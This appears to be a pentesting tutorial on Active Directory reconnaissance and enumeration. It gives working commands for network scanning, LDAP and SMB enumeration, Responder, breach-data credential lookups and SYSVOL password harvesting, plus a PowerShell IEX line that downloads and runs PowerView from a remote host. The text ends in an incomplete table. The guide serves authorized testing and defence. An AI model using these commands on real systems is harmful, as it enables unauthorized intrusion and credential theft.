Table of Contents
Toggle
Active Directory security assessments. This installment focuses on the first half of the attack lifecycle, everything from initial scoping through credential exploitation – with up-to-date techniques, tooling, and defensive guidance for 2026.
Most enterprise breaches don’t start with a zero-day. They start with a domain user account, a misconfigured service, and a patient attacker who knows how to ask Active Directory the right questions. The data is almost always there – in LDAP, in DNS, in the residue of legacy configurations – waiting for someone who knows where to look.
This guide is written for practitioners: penetration testers preparing for internal engagements, red teamers refining their methodology, and defenders who want to understand exactly how their environment gets compromised before someone else does. We’ll move systematically through every stage of the early attack lifecycle – reconnaissance, enumeration, initial access, and exploitation – with real command syntax, practical explanations of why each technique works, and specific detection guidance that blue teams can act on immediately.
What does “Active Directory penetration testing” cover?
Active Directory penetration testing is a structured security assessment simulating how an attacker – whether external or already inside the network – would identify, enumerate, access, and escalate privileges within a Windows domain. It covers protocol-level attacks against Kerberos and NTLM, LDAP enumeration, credential attacks, and the tooling ecosystem (BloodHound, Impacket, NetExec) used by both red teams and real-world threat actors.
You can’t attack a system you don’t understand. This isn’t just a platitude – it’s the reason experienced pentesters consistently find more than junior ones on the same network. They’ve internalized the architecture well enough to recognize when something is off, when a permission is misconfigured, or when a trust relationship creates an unintended path. Let’s build that foundation.
Active Directory organizes its directory data into a logical hierarchy that every practitioner needs to know cold.
Forest – The absolute security boundary. All domains within a forest implicitly trust one another and share a common schema and Global Catalog. Compromising any domain in a forest often leads to compromising the rest. When you’re assessing a multi-domain environment, the forest boundary is the most important boundary you’ll encounter.
Tree – A collection of domains sharing a contiguous DNS namespace. corp.example.com and dev.corp.example.com form a tree rooted at corp.example.com. Parent-child trusts are bidirectional and transitive by default.
Domain – The core administrative unit. Security policies, password policies, user accounts, and group memberships are scoped per domain. This is the primary target of AD-focused attacks.
Organizational Unit (OU) – A container within a domain used to delegate administration and apply Group Policy Objects. OUs don’t form security boundaries, but their GPO links and delegation settings are frequent targets.
The Domain Controller (DC) is the server running Active Directory Domain Services (AD DS). It handles authentication, authorization, and directory queries for its domain. In any AD environment:
ntds.dit database – the file storing all users, groups, password hashes, and Kerberos keys.Active Directory uses two protocols for authentication, and both have attack surfaces that are exploited in virtually every internal engagement.
Kerberos is the preferred, ticket-based protocol. Here’s the lifecycle – annotated for attackers:
| Step | Message | What’s Happening | Attack Surface |
|---|---|---|---|
| 1 | AS-REQ | Client requests a TGT, sends encrypted timestamp | Password guessing / spraying |
| 2 | AS-REP | KDC issues TGT encrypted with krbtgt hash | AS-REP Roasting (if pre-auth disabled) |
| 3 | TGS-REQ | Client presents TGT, requests service ticket | — |
| 4 | TGS-REP | KDC issues TGS encrypted with service account hash | Kerberoasting |
| 5 | AP-REQ | Client presents TGS to target service | Pass-the-Ticket |
The critical insight: the client never needs to know the krbtgt hash or the service account’s password to receive these tickets. Any authenticated domain user can trigger steps 1-4. That’s why Kerberoasting and AS-REP Roasting require only a standard domain account to execute.
NTLM is the legacy challenge-response protocol, still present in most environments for backward compatibility. Its three-message flow (Negotiate → Challenge → Authenticate) is fundamentally weaker than Kerberos:
Rule of thumb for attackers: If the target is reachable by hostname, Kerberos is likely. If by IP address, NTLM is forced. Understanding when NTLM is in play helps you choose the right technique.
The fundamentals of Active Directory attacks haven’t changed dramatically since 2020. Kerberoasting still works. LLMNR poisoning still works. DACL misconfigurations still exist in nearly every environment. What has changed is the defensive tooling deployed against them – and the adaptations attackers have made in response.
Microsoft’s Expanded Hardening Defaults
Microsoft has gradually shifted its default settings toward security. In recent Windows Server and Azure AD (now Entra ID) releases:
What this means for pentesters in 2026: The low-hanging fruit isn’t as universally available as it was, but it’s still present in the overwhelming majority of real environments – particularly those with mixed OS versions or delayed patch cycles. Hybrid environments (on-prem AD plus Entra ID) have also introduced new attack surfaces around Azure-side token abuse and cross-cloud escalation paths.
The Rise of MDR and EDR Coverage
Endpoint Detection and Response tools (CrowdStrike, SentinelOne, Microsoft Defender for Endpoint) have become near-ubiquitous in enterprise environments. This has changed how attacks are executed more than whether they can be:
sekurlsa::logonpasswords runs in modern environments often trigger immediate alerts.What this means for pentesters in 2026: Stealth matters more. Understanding your target’s EDR capabilities and testing accordingly is part of modern AD engagements. The techniques in this guide are fundamentally sound; delivery and evasion are where engagement-specific planning is required.
BloodHound Community Edition (CE) and Expanded Attack Paths
BloodHound Community Edition has been redesigned from the ground up with a new backend, real-time attack path analysis, and continuously updated attack primitives. The tool now includes cross-forest, Entra ID, and Azure-side attack path analysis, reflecting how modern hybrid environments actually look.
Entra ID / Hybrid Attack Surfaces
Many environments now have a sync between on-premises AD and Entra ID (formerly Azure AD) via Entra Connect. This creates cross-direction attack paths:
This guide focuses on on-premises AD, but in any hybrid environment, the Entra Connect server and its service account should be on your high-priority target list.
Reconnaissance is the systematic collection of intelligence before any active interaction with target systems. Done well, it shapes everything that follows: which attack paths are worth pursuing, which accounts are most likely to yield access, which technologies you’re up against, and where you’re most likely to find your first foothold. Done poorly – or skipped entirely – you’re shooting blind and making noise that defenders can hear.
Reconnaissance in Active Directory environments breaks cleanly into three progressive phases. Each builds on the last, and each requires a different mindset, toolset, and level of operational stealth.
| Phase | Approach | Network Interaction | Detection Risk | Primary Output |
|---|---|---|---|---|
| Phase 1 | Passive Recon | None | Zero | User lists, email formats, technology stack, breached credentials |
| Phase 2 | Network Recon (Unauthenticated) | Active, uncredentialed | Low to Moderate | DC addresses, domain name, open ports, DNS structure, SMB signing status |
| Phase 3 | Internal Domain Identification | Active, from inside | Low (if done carefully) | Domain policy, trusted DCs, domain functional level |
Before touching the target network – before running a single scanner or sending a single packet – gather everything available from public, third-party, and historical sources. This phase leaves zero footprint in the target’s logs and often yields the most surprising results.
Modern enterprises leak Active Directory intelligence constantly through channels their security teams rarely monitor. Harvest systematically:
Employee Intelligence Sources
LinkedIn – Employee names, job titles, tenure length, technology stack keywords (“Active Directory,” “Windows Server,” “CrowdStrike,” “Okta,” “Entra ID”), reporting structures, and recent departures (who might have offboarded poorly)
Glassdoor / Indeed – Job postings explicitly list technology requirements: “Windows Server 2022 administration,” “AD FS configuration,” “Azure Entra Connect management.” These are direct disclosures of the environment stack
Company “About Us” / Team pages – Names, email addresses, professional histories
Technical Intelligence Sources
GitHub – Search for org:companyname repos, but more importantly, search for internal tooling names, employee usernames, and strings that appear in error messages. Use:
github.com/search?q="corp.example.com"+password github.com/search?q="contoso"+internal+script
Look for leaked .config files, CI/CD pipeline definitions, Dockerfiles with embedded domain references, and accidentally committed ntds.dit excerpts (rare but real)
Certificate Transparency Logs (crt.sh) — Subdomain discovery that often reveals internal naming conventions and hostnames reachable via public TLS certificates:
https://crt.sh/?q=%25.example.com
Shodan / Censys / BinaryEdge – Exposed RDP, LDAP, or WinRM on non-standard ports; SSL certificates revealing internal hostnames; banner grabs showing Windows version and domain membership:
shodan search "port:389 country:US org:CompanyName" censys search "services.port:636 and metadata.company_name: CompanyName"
Email Format Enumeration
The single most valuable passive recon output is the corporate email format. One confirmed address reveals the pattern for thousands of accounts:
| Input | Pattern | Probable Format |
|---|---|---|
| John Smith | jsmith@company.com | first initial + last name |
| john.smith@company.com | john.smith@… | first.last |
| smith.john@company.com | smith.john@… | last.first |
| jsmith@company.com | jsmith@… | initial + last (most common) |
Confirmation techniques (still passive):
Check public Git commits for author email addresses
Search LinkedIn → view public profile → sometimes the email is visible or guessable from the profile URL
Use theHarvester against the domain (DNS enumeration is technically active, but low-signature):
theHarvester -d example.com -b google,linkedin,bing -l 500
Before spending hours on password spraying or hash cracking, check whether the target’s users have already leaked their credentials elsewhere. This is the highest-ROI reconnaissance activity available.
Breach Aggregators
Dehashed (paid, API key required) dehashed -q "domain:company.com" -o results.json dehashed -q "email:*@company.com" --fields email,password,hash Snusbase (paid) snusbase -d company.com -t email Have I Been Pwned (free API for domain search, requires subscription) curl -X GET "https://haveibeenpwned.com/api/v3/breacheddomain/company.com" \ -H "hibp-api-key: YOUR_KEY"
Leaked Paste Sites
Automate Pastebin, Ghostbin, and other paste sites python3 pasteHunter.py -d company.com
Telegram and Discord Channels – Breach dumps are frequently shared in private Telegram channels. Monitoring public channels with tools like Telegram-Scraper can surface corporate credentials.
Real-world note: In approximately 15-20% of internal engagements, a valid set of domain credentials appears in breach data from an unrelated third-party breach years earlier. Users recycle passwords. Defenders rarely check. This is often the path of least resistance.
Build a picture of the defensive landscape before you ever touch the network:
| Source | What It Reveals |
|---|---|
| Job postings | “Managing CrowdStrike Falcon,” “SentinelOne experience,” “Microsoft Defender for Endpoint deployment” → EDR stack |
| Employee certifications | “MCSE: Core Infrastructure,” “Azure Administrator Associate” → likely Microsoft-heavy, possibly hybrid |
| Press releases | “Migrated to Azure in 2024” → likely Entra ID hybrid, possibly legacy on-prem still present |
| Security.txt files | Some organizations publish security contacts and PGP keys; occasionally reveal internal tooling |
| DNS records (passive) | SecurityTrails, DNSdumpster → subdomain enumeration without direct queries |
Once you have network access – either through a VPN, a physical office drop, or an initial implant – Phase 2 begins. This is active interaction with the target network, but still without credentials. The goal: identify Domain Controllers, map DNS structure, discover live hosts, and characterize the Active Directory footprint.
Active Directory publishes its services through DNS SRV records because domain-joined clients need to find them. These records are often accessible to unauthenticated queries from inside the network.
Essential DNS Reconnaissance Commands
Find all Domain Controllers in the domain nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.example.com nslookup -type=SRV _kerberos._tcp.corp.example.com nslookup -type=SRV _gc._tcp.corp.example.com Using dig (more verbose, better for scripting) dig SRV _ldap._tcp.dc._msdcs.corp.example.com @192.168.1.1 dig SRV _kerberos._tcp.corp.example.com @192.168.1.1 dig ANY _tcp.corp.example.com @192.168.1.1 Zone transfer attempt — rare but always worth 10 seconds dig axfr @192.168.1.1 corp.example.com
What Successful Zone Transfer Reveals (complete DNS zone):
Every internal hostname and IP address
Service records revealing application servers (SQL, Exchange, SharePoint)
Naming conventions used across the organization
Potential staging servers or dev environments with weaker security
If zone transfers fail (they almost always will in modern environments), use DNS brute-force enumeration:
DNS brute-force with dnsrecon dnsrecon -d corp.example.com -D /usr/share/wordlists/dnsmap.txt -t brt Using fierce (more targeted) fierce --domain corp.example.com --dns-servers 192.168.1.1 Using ldapsearch to query DNS records if anonymous LDAP is open ldapsearch -x -H ldap://192.168.1.100 -b "DC=corp,DC=example,DC=com" "(&(objectClass=server)(dNSHostName=*))" dNSHostName
With a suspected IP range or a list of discovered hosts, scan for Active Directory-specific service ports. Speed matters, but completeness matters more for the initial landscape map.
Rustscan for Speed, Nmap for Depth
Rustscan — ultra-fast port discovery rustscan -a 192.168.1.0/24 --ulimit 5000 -t 2000 -- -sV --open Targeted Nmap scan for Active Directory ports only nmap -p 88,135,139,389,445,464,636,3268,3269,5985,5986,9389,49152-65535 \ --open -sV -sC -T4 192.168.1.0/24 -oA ad_full_scan Stealthier scan — slower, less likely to trigger IDS nmap -p 389,445,88 --open -sV -T2 --max-retries 1 192.168.1.0/24
What Each Port Tells You in an Active Directory Context
| Port | Service | What It Reveals | Red Team Significance |
|---|---|---|---|
| 53 | DNS | Domain name, DC identity | Zone transfer attempts; host enumeration |
| 88 | Kerberos | Almost certainly a Domain Controller | Kerberoasting, AS-REP roasting, ticket attacks possible |
| 135 | RPC | Remote procedure call | Lateral movement; DCOM abuse |
| 139/445 | NetBIOS/SMB | File sharing; domain membership | NTLM relay; pass-the-hash; share enumeration |
| 389 | LDAP | Directory accessible for queries | Anonymous bind possible? User enumeration |
| 636 | LDAPS | Encrypted LDAP | Same as 389 but encrypted; often less monitored |
| 3268/3269 | Global Catalog | Multi-domain forest | Cross-domain querying; forest-wide intel |
| 464 | Kerberos password change | DC indicator | Password spray detection evasion |
| 5985/5986 | WinRM (HTTP/HTTPS) | Remote PowerShell | Lateral movement target |
| 9389 | ADWS | Active Directory Web Services | Newer query interface; sometimes less logged |
| 49152-65535 | RPC high ports | Dynamic RPC endpoints | DC-specific ephemeral range |
SMB reveals an extraordinary amount of information even without credentials. The SMB banner alone provides the domain name, Windows version, hostname, and whether SMB signing is required – all in one packet.
NetExec SMB Sweep – The Single Most Information-Dense First Step
Basic SMB sweep — domain name, OS version, hostname netexec smb 192.168.1.0/24 Generate relay target list (hosts with SMB signing disabled) netexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt Enumerate SMB shares anonymously netexec smb 192.168.1.0/24 --shares Check for null session access (rare but valuable) netexec smb 192.168.1.0/24 -u '' -p '' --shares Enumerate users via SMB (RID cycling) netexec smb 192.168.1.0/24 -u '' -p '' --rid-brute
Legacy SMB Null Session Enumeration
While disabled by default on modern Windows, null sessions still appear on older or misconfigured systems:
Using enum4linux-ng (modern rewrite of enum4linux) enum4linux-ng -A 192.168.1.100 Manual rpcclient null session rpcclient -U "" -N 192.168.1.100 > enumdomains > enumdomusers > querydispinfo > enumalsgroups builtin
What a null session reveals (when available):
Full domain user list
Domain groups and memberships
Domain policies and password requirements
Share listings
Service accounts (by naming convention)
Last logon timestamps (identifying stale accounts)
Before you’re in a position to poison, you can passively discover whether LLMNR and NBT-NS are active on the network. This shapes your initial access strategy.
Passive capture mode — listens but never responds sudo responder -I eth0 -A Run for 30-60 minutes during business hours Count unique requests per source IP High volume of "WHATEVER-SERVER" lookups? LLMNR is alive.
If Responder shows constant broadcast traffic with no DNS responses, the network has name resolution failures – and LLMNR/NBT-NS is almost certainly enabled and usable.
Some Active Directory environments allow anonymous LDAP binds. This is less common than a decade ago but still appears, especially in legacy-integrated environments or poorly secured dev domains.
ldapsearch -x -H ldap://192.168.1.100 -b "" If successful, enumerate directory structure ldapsearch -x -H ldap://192.168.1.100 -b "DC=corp,DC=example,DC=com" Enumerate users (if anonymous bind works) ldapsearch -x -H ldap://192.168.1.100 -b "DC=corp,DC=example,DC=com" \ "(objectClass=user)" sAMAccountName Check for naming contexts ldapsearch -x -H ldap://192.168.1.100 -b "" -s base namingContexts
Once you have execution on a machine inside the network – even without domain credentials – you can confirm the domain name, identify Domain Controllers, and extract domain policy information using the machine’s existing domain membership (if any) or network environment variables.
If the machine is domain-joined, extraction is trivial:
Display domain membership systeminfo | findstr /B /C:"Domain" echo %USERDOMAIN% whoami /fqdn DNS resolution for domain controllers nslookup -type=SOA . nslookup -type=SRV _ldap._tcp.dc._msdcs.%USERDNSDOMAIN% Net config net config workstation | findstr "Domain"
If the machine is not domain-joined but has network access, Windows still caches domain information from network traffic:
Query DNS for DC records Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.corp.example.com Get current network adapter DNS suffix Get-DnsClientGlobalSetting | Select-Object SuffixSearchList
Linux on the internal network can discover the Active Directory domain without Windows tools:
SMBCLIENT banner grab smbclient -L //192.168.1.100 -N NetExec from Linux (same as Windows) netexec smb 192.168.1.100 nmap SMB script nmap -p 445 --script smb-os-discovery 192.168.1.100 Using dig to find domain from DC IP (reverse PTR) dig -x 192.168.1.100
The domain functional level determines which attack primitives are available. It can sometimes be obtained without authentication:
From LDAP rootDSE (often readable anonymously) ldapsearch -x -H ldap://192.168.1.100 -b "" -s base domainFunctionality # Values: # 0 = Windows 2000 # 2 = Windows Server 2003 # 3 = Windows Server 2008 # 4 = Windows Server 2008 R2 # 5 = Windows Server 2012 # 6 = Windows Server 2012 R2 # 7 = Windows Server 2016 # 8 = Windows Server 2019 # 9 = Windows Server 2022
Higher functional levels (2016+) mean:
NTLM likely restricted or audited
AES Kerberos encryption enforced (better for cracking, worse for downgrade attacks)
Default domain policy stronger (but still often weak)
Professional reconnaissance is useless if not documented systematically. Create a recon tracking document with these sections before moving to enumeration:
| Category | Data Collected | Notes |
|---|---|---|
| Domain Information | Domain name, DC IPs, functional level, forest name | |
| User Intelligence | Email format, employee names, job titles, potential usernames | |
| Password Intelligence | Breach hits, common password patterns, password policy (if obtained) | |
| Network Topology | IP ranges, live hosts, DC locations, subnet structure | |
| Defensive Landscape | EDR (from job postings), SMB signing status, LLMNR/NBT-NS activity | |
| Quick Wins | Anonymous LDAP, null sessions, breach credentials, exposed shares | |
| Next Phase Targets | Which DC to query first? Which user for initial spray? |
Red Team Note: Reconnaissance is the phase where patience pays most. Do not rush to Phase 3 (Enumeration) until Phase 1 and 2 have yielded everything they can. The best penetration testers spend 30-40% of their total engagement time in recon and finish faster because they aren’t chasing dead ends.
Enumeration is what happens after you have credentials – or in some cases, even before, if anonymous access is misconfigured. It is the disciplined process of extracting structured intelligence from Active Directory: users, groups, computers, group policies, trusts, Service Principal Names (SPNs), delegation settings, and DACLs (Discretionary Access Control Lists). This is the phase where the attack graph gets drawn, where theoretical paths become concrete targets, and where the difference between a shallow assessment and a deep compromise is determined.
The Fundamental Truth of Active Directory Enumeration: With a single set of domain user credentials – even the most low-privileged account in the domain – you can query nearly the entire directory. This is not a vulnerability. This is by design. Active Directory was built for accessibility, administration, and ease of use, not for minimal disclosure. Defenders cannot easily block authenticated enumeration without breaking legitimate business functionality. That asymmetry is the attacker’s enduring advantage.
Before running a single command, understand what you already have and what you’re looking for:
| If You Have… | Start With… | Looking For… |
|---|---|---|
| Low-privilege domain user | LDAP user enumeration | Service accounts, privileged groups, password policies |
| Local admin on a workstation | PowerView / SharpView | Local admin access elsewhere, domain trust relationships |
| No credentials (anonymous access) | Null session tests | Any accessible data before authentication |
| Compromised service account | SPN enumeration, delegation | Kerberoasting targets, constrained delegation paths |
LDAP (Lightweight Directory Access Protocol) is the primary query interface for Active Directory. With credentials, you can ask the directory almost anything. The only limits are:
Permissions — Some attributes (like unicodePwd) are not readable by standard users
Auditing — LDAP queries are often logged, but volume makes manual review impractical
ldapsearch is the standard LDAP query tool on Linux. It’s lightweight, scriptable, and works from any system with network access to a Domain Controller.
Basic Authenticated Query Structure
ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com"
Breakdown of Parameters:
| Parameter | Purpose | Example |
|---|---|---|
-x | Use simple authentication (not SASL) | Required for most basic binds |
-H ldap://host | LDAP server address | ldap://192.168.1.100 or ldap://dc01.corp.example.com |
-D | Bind DN (Distinguished Name) | User principal name or full DN |
-w | Password | Plaintext (use -W for prompt in scripts) |
-b | Base DN | Where to start the search |
Essential User Enumeration Queries
All users with key attributes (samAccountName, description, mail, title, department) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(objectClass=user)" \ sAMAccountName description mail title department manager lastLogonTimestamp Enabled users only (excluding disabled accounts) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \ sAMAccountName Users whose passwords never expire (high-value targets) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \ sAMAccountName pwdLastSet Recently modified accounts (last 30 days) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=user)(whenChanged>=20260101000000.0Z))" \ sAMAccountName whenCreated whenChanged
Group Enumeration Queries
All groups with members ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(objectClass=group)" \ cn member groupType Nested group membership (important for privilege escalation) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com)" \ sAMAccountName High-privilege groups to check # - Domain Admins # - Enterprise Admins (forest-wide) # - Schema Admins (extreme privilege) # - Administrators # - Account Operators # - Server Operators # - Backup Operators # - DnsAdmins # - Exchange Windows Permissions
Computer Enumeration Queries
All computers with OS versions ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(objectClass=computer)" \ name operatingSystem operatingSystemVersion dNSHostName whenCreated Computers by OS (e.g., legacy Windows 7/Server 2008) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=computer)(operatingSystem=*2008*))" \ name operatingSystem dNSHostName Domain Controllers specifically ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "OU=Domain Controllers,DC=corp,DC=example,DC=com" \ "(objectClass=computer)" name dNSHostName
Service Account and SPN Enumeration
All service accounts (have SPNs, not computers) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \ sAMAccountName servicePrincipalName pwdLastSet Managed Service Accounts (gMSAs) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=msDS-GroupManagedServiceAccount))" \ name msDS-ManagedPasswordId
netexec (formerly CrackMapExec) wraps LDAP queries into clean, readable output. It’s faster than raw ldapsearch for standard enumeration tasks and includes helpful modules.
Basic LDAP Enumeration
List all domain users (simplified output) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --users List all domain groups netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --groups List all computers netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --computers Get domain password policy (critical for spraying safety) netexec smb 192.168.1.100 -u jsmith -p 'Password1' --pass-pol Get domain trust relationships netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --trusted-domains
The Description Field Module (get-desc-users)
The get-desc-users module deserves special attention. In real-world assessments, finding plaintext passwords in the description or info fields of user accounts — particularly service accounts — is one of the most common, consistently reliable findings. IT administrators have a long, intractable habit of using the description field as a scratchpad for credentials.
Extract all user descriptions and info fields netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M get-desc-users Example output showing plaintext credentials: # [*] Getting descriptions # [*] User: svc_backup description: "backup account - password: Backup2024!" # [*] User: sql_service description: "SQL Service Acct - P@ssw0rd123" # [*] User: admin_john description: "Temp admin - do not delete"
Password Spray Preparation Module
Get locked-out and disabled users to exclude from spraying netexec ldap 192.168.1.100 -u jsmith -p 'Password1' \ --locked-users --disabled-users Export user list for spraying (excluding service accounts with high lockout risk) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' \ --users | grep -v "krbtgt" | grep -v "$" > valid_users.txt
Additional Useful NetExec LDAP Modules
Find AS-REP roastable users (no Kerberos pre-authentication) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M asreproast Find Kerberoastable users (SPNs) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M kerberoast Find admin count = 1 (privileged accounts protected by SDProp) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M admincount Enumerate password not required accounts netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M password-not-required Find users who can authenticate from any workstation (no restriction) netexec ldap 192.168.1.100 -u jsmith -p 'Password1' -M user-workstations
LDAP filters are the core of precise directory enumeration. Understanding these filters — and the userAccountControl bitmask values they rely on — separates junior enumerators from experienced ones.
userAccountControl is a bitmask where each bit represents a specific account property. To check if a bit is SET, use: (userAccountControl:BITWISE_OPERATOR:=BITVALUE)
| Bit Value | Hex | Property | When You Want… |
|---|---|---|---|
| 2 | 0x0002 | ACCOUNTDISABLE | Exclude disabled accounts |
| 16 | 0x0010 | LOCKOUT | Exclude locked accounts |
| 32 | 0x0020 | PASSWD_NOTREQD | Weak password policy targets |
| 64 | 0x0040 | PASSWD_CANT_CHANGE | Cannot rotate credentials |
| 512 | 0x0200 | NORMAL_ACCOUNT | Standard user accounts |
| 65536 | 0x10000 | DONT_EXPIRE_PASSWORD | Long-lived credentials |
| 4194304 | 0x400000 | DONT_REQ_PREAUTH | AS-REP Roasting targets |
| 524288 | 0x80000 | TRUSTED_FOR_DELEGATION | Unconstrained delegation |
| 8388608 | 0x800000 | TRUSTED_TO_AUTH_FOR_DELEGATION | Constrained delegation |
| Target Description | LDAP Filter |
|---|---|
| All enabled user accounts (excluding disabled) | (&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) |
| All enabled computers (excluding disabled) | (&(objectClass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))) |
| AS-REP Roastable accounts (no Kerberos pre-auth) | (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) |
| Kerberoastable accounts (has SPNs, not computers) | (&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer))) |
| Accounts with never-expiring passwords | (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536)) |
| Accounts with password not required | (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32)) |
| Unconstrained delegation (non-DCs) | (&(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516))) |
| Constrained delegation (has delegation targets) | (msDS-AllowedToDelegateTo=*) |
| Resource-Based Constrained Delegation | (msDS-AllowedToActOnBehalfOfOtherIdentity=*) |
| Domain Admin group members | (&(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com)) |
| Enterprise Admin group members | (&(memberOf=CN=Enterprise Admins,CN=Users,DC=corp,DC=example,DC=com)) |
| AdminCount=1 accounts (privileged, SDProp protected) | (&(objectClass=user)(adminCount=1)) |
| Disabled accounts | (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)) |
| Locked-out accounts | (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=16)) |
| Accounts that are members of a specific group | (&(objectClass=user)(memberOf=CN=GroupName,CN=Users,DC=corp,DC=example,DC=com)) |
| Nested group membership (one level) | (&(objectClass=group)(member=CN=User,CN=Users,DC=corp,DC=example,DC=com)) |
| Groups with a specific member | (&(objectClass=group)(member=CN=UserName,CN=Users,DC=corp,DC=example,DC=com)) |
| Group Managed Service Accounts (gMSAs) | (objectClass=msDS-GroupManagedServiceAccount) |
| All Organizational Units | (objectClass=organizationalUnit) |
| All Group Policy Objects | (objectClass=groupPolicyContainer) |
| Domain Controllers | (&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192)) |
Domain Admins (replace DN with your domain structure) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=corp,DC=example,DC=com))" \ sAMAccountName Service accounts with never-expiring passwords (high risk) ldapsearch -x -H ldap://192.168.1.100 \ -D "jsmith@corp.example.com" -w 'Password1' \ -b "DC=corp,DC=example,DC=com" \ "(&(objectClass=user)(servicePrincipalName=*)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \ sAMAccountName servicePrincipalName pwdLastSet
SMB (Server Message Block) is often the richest source of intelligence in the early enumeration stage. Even with minimal permissions, share enumeration frequently yields sensitive files — password lists, configuration files, scripts with embedded credentials, and backup archives.
List all accessible shares with current credentials netexec smb 192.168.1.100 -u jsmith -p 'Password1' --shares Detailed share contents smbclient //192.168.1.100/SYSVOL -U "corp.example.com/jsmith%Password1" -c "ls" Recursive share listing (manual) smbclient //192.168.1.100/ShareName -U "jsmith%Password1" -c "recurse;ls"
| Share | Typical Contents | Attack Potential |
|---|---|---|
| SYSVOL | Group Policy files, login scripts, domain policies | GPP passwords, hardcoded credentials, misconfigurations |
| NETLOGON | Scripts executed at login | Hardcoded credentials, domain join scripts |
| PRINT$ | Printer drivers | Usually low value, but check for writability |
| IPC$ | Inter-process communication | Required for certain attacks, not a data source |
| Custom shares | Varies by org | Configuration files, backups, IT tooling |
SYSVOL is replicated to every Domain Controller and is readable by any authenticated domain user. It contains:
Group Policy Preferences (GPP) — historically contained cpassword values with known AES key
Login scripts (.bat, .vbs, .ps1) — frequently contain hardcoded credentials
Scheduled tasks
Security filtering settings
Search SYSVOL for GPP credentials netexec smb 192.168.1.100 -u jsmith -p 'Password1' -M gpp_password Search SYSVOL for autologin credentials netexec smb 192.168.1.100 -u jsmith -p 'Password1' -M gpp_autologin Manual SYSVOL enumeration for scripts smbclient //192.168.1.100/SYSVOL -U "jsmith%Password1" -c \ "cd corp.example.com\Policies; recurse; ls *.ps1; ls *.vbs; ls *.bat"
Spider_plus module - recursively searches for interesting file types netexec smb 192.168.1.0/24 -u jsmith -p 'Password1' \ -M spider_plus -o FILTER_FOLDERS=scripts,Policies,IT,Backup,Config The output creates a JSON file with all found files and their contents cat spider_plus_192.168.1.100.json | jq '.[] | select(.content | contains("password"))'
File types to prioritize during enumeration:
.ps1, .bat, .cmd, .vbs — scripts
.config, .xml, .json, .yaml, .yml — configuration files
.txt, .log, .csv — text files and logs
.kdbx — Keepass databases
.rdp — RDP connection files (may contain stored credentials)
.sql – database scripts
PowerView (part of PowerSploit/PowerTools) remains one of the most comprehensive AD enumeration tools available. When executed in a constrained environment, it queries AD using standard LDAP and ADSI providers — making it difficult to block without breaking legitimate AD functionality.
If on a domain-joined machine with internet IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.50/PowerView.ps1') Local import Import-Module .\PowerView.ps1 PowerView 3.0 (newer, more features) Import-Module .\PowerView3.ps1
Learning the methodology is important, but mastering it requires hands-on practice.
If you’re serious about penetration testing, red teaming, or Active Directory security assessments, try realistic cybersecurity CTF labs that let you practice reconnaissance, enumeration, credential attacks, privilege escalation, and exploitation techniques in a safe environment.
| Command | Purpose | Example |
|---|---|---|
Get-Domain | Basic domain info | Get-Domain -Verbose |
